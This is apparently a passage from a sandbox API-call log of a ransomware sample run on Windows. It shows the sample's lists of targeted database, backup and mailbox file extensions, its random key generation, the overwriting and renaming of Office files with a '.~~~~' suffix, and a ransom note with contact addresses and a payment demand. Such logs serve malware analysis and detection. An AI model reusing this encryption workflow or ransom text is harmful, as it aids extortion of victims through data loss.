	[0081.267] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML", lpSrch=".DB3") returned 0x0
	[0081.267] lstrlenW (lpString=".DAT") returned 4
	[0081.267] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML", lpSrch=".DAT") returned 0x0
	[0081.267] lstrlenW (lpString=".VHDX") returned 5
	[0081.267] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML", lpSrch=".VHDX") returned 0x0
	[0081.267] lstrlenW (lpString=".ndf") returned 4
	[0081.267] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML", lpSrch=".ndf") returned 0x0
	[0081.267] lstrlenW (lpString=".DB") returned 3
	[0081.267] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML", lpSrch=".DB") returned 0x0
	[0081.267] lstrlenW (lpString=".sql") returned 4
	[0081.267] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML", lpSrch=".sql") returned 0x0
	[0081.267] lstrlenW (lpString=".MYD") returned 4
	[0081.267] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML", lpSrch=".MYD") returned 0x0
	[0081.267] lstrlenW (lpString=".DBT") returned 4
	[0081.267] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML", lpSrch=".DBT") returned 0x0
	[0081.267] lstrlenW (lpString=".ACCDB") returned 6
	[0081.267] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML", lpSrch=".ACCDB") returned 0x0
	[0081.267] lstrlenW (lpString=".fdb") returned 4
	[0081.267] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML", lpSrch=".fdb") returned 0x0
	[0081.267] lstrlenW (lpString=".bak") returned 4
	[0081.267] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML", lpSrch=".bak") returned 0x0
	[0081.267] lstrlenW (lpString=".myd") returned 4
	[0081.267] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML", lpSrch=".myd") returned 0x0
	[0081.267] lstrlenW (lpString=".DTXS") returned 5
	[0081.267] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML", lpSrch=".DTXS") returned 0x0
	[0081.268] lstrlenW (lpString=".ckp") returned 4
	[0081.268] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML", lpSrch=".ckp") returned 0x0
	[0081.268] lstrlenW (lpString=".dbt") returned 4
	[0081.268] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML", lpSrch=".dbt") returned 0x0
	[0081.268] lstrlenW (lpString=".db") returned 3
	[0081.268] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML", lpSrch=".db") returned 0x0
	[0081.268] lstrlenW (lpString=".TXT") returned 4
	[0081.268] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML", lpSrch=".TXT") returned 0x0
	[0081.268] lstrlenW (lpString=".MDF") returned 4
	[0081.268] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML", lpSrch=".MDF") returned 0x0
	[0081.268] lstrlenW (lpString=".bdb") returned 4
	[0081.268] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML", lpSrch=".bdb") returned 0x0
	[0081.268] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0081.268] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0081.268] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804338
	[0081.268] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0081.268] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x39fe28) returned 1
	[0081.269] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0081.269] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0081.269] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0081.269] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0081.269] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x3ce910
	[0081.270] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=20125997324) returned 1
	[0081.270] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x9a4bd8b0, dwHighDateTime=0x1d60e1e)) 
	[0081.270] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0081.270] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0081.270] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0081.270] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27fa9e0
	[0081.270] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0081.270] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fa9e0 | out: hHeap=0x300000) returned 1
	[0081.270] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0081.270] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0081.270] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b56f8
	[0081.270] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0081.270] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b2160
	[0081.270] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b56f8 | out: hHeap=0x300000) returned 1
	[0081.270] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0081.271] GetLastError () returned 0x0
	[0081.271] GetLastError () returned 0x0
	[0081.271] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0081.271] GetLastError () returned 0x0
	[0081.271] GetLastError () returned 0x0
	[0081.272] ReadFile (in: hFile=0x124, lpBuffer=0x281bfd8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x281bfd8*, lpNumberOfBytesRead=0x24dfec0*=0x16fc, lpOverlapped=0x0) returned 1
	[0081.276] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xffffe904, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0081.276] WriteFile (in: hFile=0x124, lpBuffer=0x281bfd8*, nNumberOfBytesToWrite=0x16fc, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x281bfd8*, lpNumberOfBytesWritten=0x24dfec0*=0x16fc, lpOverlapped=0x0) returned 1
	[0081.276] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x281bfd8 | out: hHeap=0x300000) returned 1
	[0081.276] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.276] WriteFile (in: hFile=0x124, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0081.276] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0081.276] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0081.276] CloseHandle (hObject=0x124) returned 1
	[0081.276] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xf0) returned 0x39ece0
	[0081.277] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml.~~~~")) returned 1
	[0081.277] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39ece0 | out: hHeap=0x300000) returned 1
	[0081.277] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0081.277] GetLastError () returned 0x0
	[0081.278] RtlWakeConditionVariable () returned 0x365f70
	[0081.278] GetCurrentThreadId () returned 0x3a4
	[0081.278] GetCurrentThreadId () returned 0x3a4
	[0081.278] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x27fefe8
	[0081.278] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2800860 | out: hHeap=0x300000) returned 1
	[0081.278] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fa9a8 | out: hHeap=0x300000) returned 1
	[0081.278] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x2800860
	[0081.278] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Read~ME.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124
	[0081.278] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0081.278] WriteFile (in: hFile=0x124, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x24dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x24dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0081.280] CloseHandle (hObject=0x124) returned 1
	[0081.280] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2800860 | out: hHeap=0x300000) returned 1
	[0081.280] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fefe8 | out: hHeap=0x300000) returned 1
	[0081.280] RtlWakeConditionVariable () returned 0x365f70
	[0081.280] GetCurrentThreadId () returned 0x3a4
	[0081.280] GetCurrentThreadId () returned 0x3a4
	[0081.280] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x27fefe8
	[0081.280] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2800948 | out: hHeap=0x300000) returned 1
	[0081.280] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fa970 | out: hHeap=0x300000) returned 1
	[0081.280] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x2800948
	[0081.280] lstrlenW (lpString=".scr") returned 4
	[0081.280] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML", lpSrch=".scr") returned 0x0
	[0081.280] lstrlenW (lpString=".cmd") returned 4
	[0081.280] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML", lpSrch=".cmd") returned 0x0
	[0081.280] lstrlenW (lpString=".dll") returned 4
	[0081.280] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML", lpSrch=".dll") returned 0x0
	[0081.280] lstrlenW (lpString=".bat") returned 4
	[0081.281] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML", lpSrch=".bat") returned 0x0
	[0081.281] lstrlenW (lpString=".cpl") returned 4
	[0081.281] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML", lpSrch=".cpl") returned 0x0
	[0081.281] lstrlenW (lpString=".sys") returned 4
	[0081.281] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML", lpSrch=".sys") returned 0x0
	[0081.281] lstrlenW (lpString=".msc") returned 4
	[0081.281] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML", lpSrch=".msc") returned 0x0
	[0081.281] lstrlenW (lpString=".com") returned 4
	[0081.281] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML", lpSrch=".com") returned 0x0
	[0081.281] lstrlenW (lpString=".lnk") returned 4
	[0081.281] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML", lpSrch=".lnk") returned 0x0
	[0081.281] lstrlenW (lpString=".msp") returned 4
	[0081.281] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML", lpSrch=".msp") returned 0x0
	[0081.281] lstrlenW (lpString=".pif") returned 4
	[0081.281] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML", lpSrch=".pif") returned 0x0
	[0081.281] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0081.281] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML", lpSrch="msp\r\n.pif") returned 0x0
	[0081.281] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124
	[0081.282] lstrlenW (lpString=".sqb") returned 4
	[0081.282] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML", lpSrch=".sqb") returned 0x0
	[0081.283] lstrlenW (lpString=".ost") returned 4
	[0081.283] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML", lpSrch=".ost") returned 0x0
	[0081.283] lstrlenW (lpString=".txt") returned 4
	[0081.283] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML", lpSrch=".txt") returned 0x0
	[0081.283] lstrlenW (lpString=".mdt") returned 4
	[0081.283] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML", lpSrch=".mdt") returned 0x0
	[0081.283] lstrlenW (lpString=".BDB") returned 4
	[0081.283] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML", lpSrch=".BDB") returned 0x0
	[0081.283] lstrlenW (lpString=".eql") returned 4
	[0081.283] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML", lpSrch=".eql") returned 0x0
	[0081.283] lstrlenW (lpString=".DBF") returned 4
	[0081.283] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML", lpSrch=".DBF") returned 0x0
	[0081.283] lstrlenW (lpString=".EQL") returned 4
	[0081.283] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML", lpSrch=".EQL") returned 0x0
	[0081.283] lstrlenW (lpString=".FDB") returned 4
	[0081.283] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML", lpSrch=".FDB") returned 0x0
	[0081.283] lstrlenW (lpString=".EDB") returned 4
	[0081.283] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML", lpSrch=".EDB") returned 0x0
	[0081.283] lstrlenW (lpString=".DACPAC") returned 7
	[0081.283] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML", lpSrch=".DACPAC") returned 0x0
	[0081.283] lstrlenW (lpString=".VHD") returned 4
	[0081.283] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML", lpSrch=".VHD") returned 0x0
	[0081.283] lstrlenW (lpString=".DBV") returned 4
	[0081.284] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML", lpSrch=".DBV") returned 0x0
	[0081.284] lstrlenW (lpString=".dacpac") returned 7
	[0081.284] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML", lpSrch=".dacpac") returned 0x0
	[0081.284] lstrlenW (lpString=".sdf") returned 4
	[0081.284] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML", lpSrch=".sdf") returned 0x0
	[0081.284] lstrlenW (lpString=".accdb") returned 6
	[0081.284] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML", lpSrch=".accdb") returned 0x0
	[0081.284] lstrlenW (lpString=".DBX") returned 4
	[0081.284] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML", lpSrch=".DBX") returned 0x0
	[0081.284] lstrlenW (lpString=".MDT") returned 4
	[0081.284] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML", lpSrch=".MDT") returned 0x0
	[0081.284] lstrlenW (lpString=".SQB") returned 4
	[0081.284] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML", lpSrch=".SQB") returned 0x0
	[0081.284] lstrlenW (lpString=".vhd") returned 4
	[0081.284] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML", lpSrch=".vhd") returned 0x0
	[0081.284] lstrlenW (lpString=".bac") returned 4
	[0081.284] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML", lpSrch=".bac") returned 0x0
	[0081.284] lstrlenW (lpString=".mdf") returned 4
	[0081.284] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML", lpSrch=".mdf") returned 0x0
	[0081.284] lstrlenW (lpString=".BAK") returned 4
	[0081.284] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML", lpSrch=".BAK") returned 0x0
	[0081.284] lstrlenW (lpString=".BAC") returned 4
	[0081.285] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML", lpSrch=".BAC") returned 0x0
	[0081.285] lstrlenW (lpString=".dbs") returned 4
	[0081.285] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML", lpSrch=".dbs") returned 0x0
	[0081.285] lstrlenW (lpString=".vhdx") returned 5
	[0081.285] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML", lpSrch=".vhdx") returned 0x0
	[0081.285] lstrlenW (lpString=".NDF") returned 4
	[0081.285] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML", lpSrch=".NDF") returned 0x0
	[0081.285] lstrlenW (lpString=".dat") returned 4
	[0081.285] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML", lpSrch=".dat") returned 0x0
	[0081.285] lstrlenW (lpString=".DBS") returned 4
	[0081.285] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML", lpSrch=".DBS") returned 0x0
	[0081.285] lstrlenW (lpString=".CKP") returned 4
	[0081.285] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML", lpSrch=".CKP") returned 0x0
	[0081.285] lstrlenW (lpString=".edb") returned 4
	[0081.285] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML", lpSrch=".edb") returned 0x0
	[0081.285] lstrlenW (lpString=".PST") returned 4
	[0081.285] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML", lpSrch=".PST") returned 0x0
	[0081.285] lstrlenW (lpString=".dbf") returned 4
	[0081.285] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML", lpSrch=".dbf") returned 0x0
	[0081.285] lstrlenW (lpString=".SQL") returned 4
	[0081.285] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML", lpSrch=".SQL") returned 0x0
	[0081.285] lstrlenW (lpString=".pst") returned 4
	[0081.285] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML", lpSrch=".pst") returned 0x0
	[0081.285] lstrlenW (lpString=".dbv") returned 4
	[0081.286] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML", lpSrch=".dbv") returned 0x0
	[0081.286] lstrlenW (lpString=".SDF") returned 4
	[0081.286] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML", lpSrch=".SDF") returned 0x0
	[0081.286] lstrlenW (lpString=".dtxs") returned 5
	[0081.286] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML", lpSrch=".dtxs") returned 0x0
	[0081.286] lstrlenW (lpString=".db3") returned 4
	[0081.286] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML", lpSrch=".db3") returned 0x0
	[0081.286] lstrlenW (lpString=".OST") returned 4
	[0081.286] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML", lpSrch=".OST") returned 0x0
	[0081.286] lstrlenW (lpString=".dbx") returned 4
